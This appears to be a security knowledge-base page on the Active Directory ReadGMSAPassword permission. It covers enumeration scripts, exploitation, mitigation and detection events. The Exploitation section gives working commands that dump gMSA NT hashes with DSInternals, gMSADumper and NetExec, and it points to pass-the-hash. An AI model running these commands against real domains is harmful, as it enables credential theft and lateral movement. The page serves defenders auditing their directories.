ReadGMSAPassword
Summary
FSProtect ACL Alias
ReadGMSAPassword
Affected Object Types
Group Managed Service Accounts (GMSAs)
Exploitation Certainty
Certain
AD Attribute
msDS-GroupMSAMembership
AD Attribute Guid
888eedd6-ce04-df40-b462-b8a50e41ba38
Description
Group Managed Service Accounts (GMSAs) The ReadGMSAPassword
permission in Active Directory allows an account to read the passwords associated with Group Managed Service Accounts
(GMSAs). GMSAs
are designed for automated and secure service account management, enabling services and applications to authenticate seamlessly without manual password handling. If the PrincipalsAllowedToRetrieveManagedPassword
attribute is not configured, administrators or users cannot view these passwords. By granting the ReadGMSAPassword
permission to services, organizations facilitate seamless authentication processes, reduce the administrative overhead of manual password management, and enhance overall security by ensuring that service account credentials are complex and regularly updated without human intervention.
However, if the ReadGMSAPassword
permission is misconfigured, an attacker can extract the passwords of GMSA
accounts, which are integrated with numerous critical services and applications. With access to these credentials, the attacker can impersonate service accounts to interact with critical services, access sensitive data repositories, and manipulate essential infrastructure components. This level of access can facilitate lateral movement across the network, enable unauthorized data exfiltration, and allow for the deployment of malicious configurations or software.
Identification
PowerShell
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate ReadGMSAPassword
entries.
1. Find-ReadGMSAPassword function
function Find-ReadGMSAPassword {
[CmdletBinding()]
param ( [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv")
Import-Module ActiveDirectory -ErrorAction Stop
if ($Target) {
Write-Host "Searching for gMSAs under '$Target'..." -ForegroundColor Yellow
$serviceAccounts = Get-ADServiceAccount -Filter * -SearchBase $Target -Properties 'msDS-GroupMSAMembership'
} else {
Write-Host "Searching for all gMSAs in the domain..." -ForegroundColor Yellow
$serviceAccounts = Get-ADServiceAccount -Filter * -Properties 'msDS-GroupMSAMembership'
}
$results = foreach ($sa in $serviceAccounts) {
if ($sa.'msDS-GroupMSAMembership') {
foreach ($entry in $sa.'msDS-GroupMSAMembership') {
[PSCustomObject]@{
GMSA = $sa.Name
DistinguishedName = $sa.DistinguishedName
AllowedPrincipal = $entry.Access.IdentityReference
AccessType = $entry.Access.AccessControlType
}
}
}
}
if ($results) {
Write-Host "Found $($results.Count) gMSA(s) with retrievable password permissions." -ForegroundColor Green
try {
$results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
Write-Host "Results exported to '$OutputPath'" -ForegroundColor Green
} catch {
Write-Error "Failed to export results to '$OutputPath'. Error: $_"
}
} else {
Write-Host "No gMSAs with msDS-GroupMSAMembership set were found." -ForegroundColor Green
}
}
2. Scan all domain service accounts
Find-ReadGMSAPassword
3. Scan a specific service account
Find-ReadGMSAPassword -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs"
.NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate ReadGMSAPassword
entries without relying on any external modules or dependencies.
1. Find-ReadGMSAPasswordSimple function
function Find-ReadGMSAPasswordSimple {
[CmdletBinding()]
param( [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv")
$results = New-Object System.Collections.Generic.List[object]
try {
if ($Target) {
$searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
} else {
$root = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$baseDN = $root.Properties["defaultNamingContext"][0]
$searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN")
}
$searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
$searcher.Filter = "(|(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-ManagedServiceAccount))"
$searcher.PageSize = 1000
foreach ($p in @("distinguishedName","name","msDS-GroupMSAMembership")) {
[void]$searcher.PropertiesToLoad.Add($p)
}
$hits = $searcher.FindAll()
foreach ($hit in $hits) {
$props = $hit.Properties
$dn = if ($props["distinguishedname"]) { $props["distinguishedname"][0] } else { "<unknown>" }
$name = if ($props["name"]) { $props["name"][0] } else { $dn }
if ($props["msds-groupmsamembership"]) {
foreach ($val in $props["msds-groupmsamembership"]) {
try {
$rsd = New-Object System.Security.AccessControl.RawSecurityDescriptor($val,0)
} catch {
Write-Warning "Failed to parse msDS-GroupMSAMembership on '$name': $_"
continue
}
foreach ($ace in $rsd.DiscretionaryAcl) {
$common = $ace -as [System.Security.AccessControl.CommonAce]
if (-not $common) { continue }
$type = switch ($common.AceType) {
([System.Security.AccessControl.AceType]::AccessAllowed) { "Allow" }
([System.Security.AccessControl.AceType]::AccessDenied) { "Deny" }
default { continue }
}
$sid = $common.SecurityIdentifier
$who = try { $sid.Translate([System.Security.Principal.NTAccount]).Value } catch { $sid.Value }
$results.Add([PSCustomObject]@{
GMSA = $name
DistinguishedName = $dn
AllowedPrincipal = $who
AccessType = $type
})
}
}
}
}
} catch {
Write-Error "LDAP enumeration failed: $_"
return
}
if ($results.Count -gt 0) {
try {
$results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Found $($results.Count) ACE(s) on gMSA msDS-GroupMSAMembership. Exported to '$OutputPath'."
} catch {
Write-Warning "Export failed: $_"
}
} else { Write-Host "No msDS-GroupMSAMembership ACLs found on gMSAs."}
}
2. Scan all domain service accounts
Find-ReadGMSAPasswordSimple
3. Scan a specific service account
Find-ReadGMSAPasswordSimple -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs"
Exploitation
This permission can be exploited on Windows systems with DSInternals
, while on Linux systems, tools such as GMSADumper
can be effectively used for exploitation.
Windows
An attacker can Read GMSA Password
with this cmdlet on Windows. (DSInternals should be installed) DSInternals
$GMSA = Get-ADServiceAccount -Identity '<GMSA>' -Properties 'msDS-ManagedPassword'
$mp = $GMSA.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
Example:
$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-ManagedPassword'
$mp = $GMSA.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash

After this, you can obtain NT Hash. With NT Hash attacker can perform attacks like PassTheHash
Linux
An attacker can get GMSA
password with this command on Linux. (You should download the GMSADumper
tool before running the command) GMSADumper
python3 GMSADumper.py -u 'User' -p '<Password>' -d '<Domain FQDN>'
Example:
python3 gMSADumper.py -u adam -p 'Temp123!' -d Forestall.labs

Read GMSA NT hash using NetExec
nxc ldap <dcip> -u <user> -p '<pass>' --gmsa
Example:
nxc ldap 192.168.121.134 -u Adam -p 'Temp123!' --gmsa

Mitigation
In the script below, assign the vulnerable GMSA’s distinguished name to the GMSADistinguishedName variable and the dangerous user’s name to the DangerousUser variable.
(To run this script successfully, you should have Write
permission on the msDS-GroupMSAMembership
attribute of the GMSA object (Write msDS-GroupMSAMembership
). This permission is typically granted to Domain Admins and Enterprise Admins. If you do not have this permission, you will need to contact your Active Directory administrator to perform this action.)
$GMSADistinguishedName = 'CN=GMSA,CN=Managed Service Accounts,DC=forestall,DC=labs'
$DangerousUser = 'FORESTALL\Attacker'
$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-GroupMSAMembership'
$cleanUsers = @()
$exc = $GMSA.'msDS-GroupMSAMembership'.Access.IdentityReference |
Where-Object { $_ -ne $DangerousUser } |
ForEach-Object {
$name = $_ -replace '^[^\\]+\\'
$cleanUsers += $name
}
Set-ADServiceAccount -Identity $GMSA.Name -PrincipalsAllowedToRetrieveManagedPassword $cleanUsers
Detection
Adding new access control entries to Active Directory objects changes the ntSecurityDescriptor
attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
References
Last updated
Was this helpful?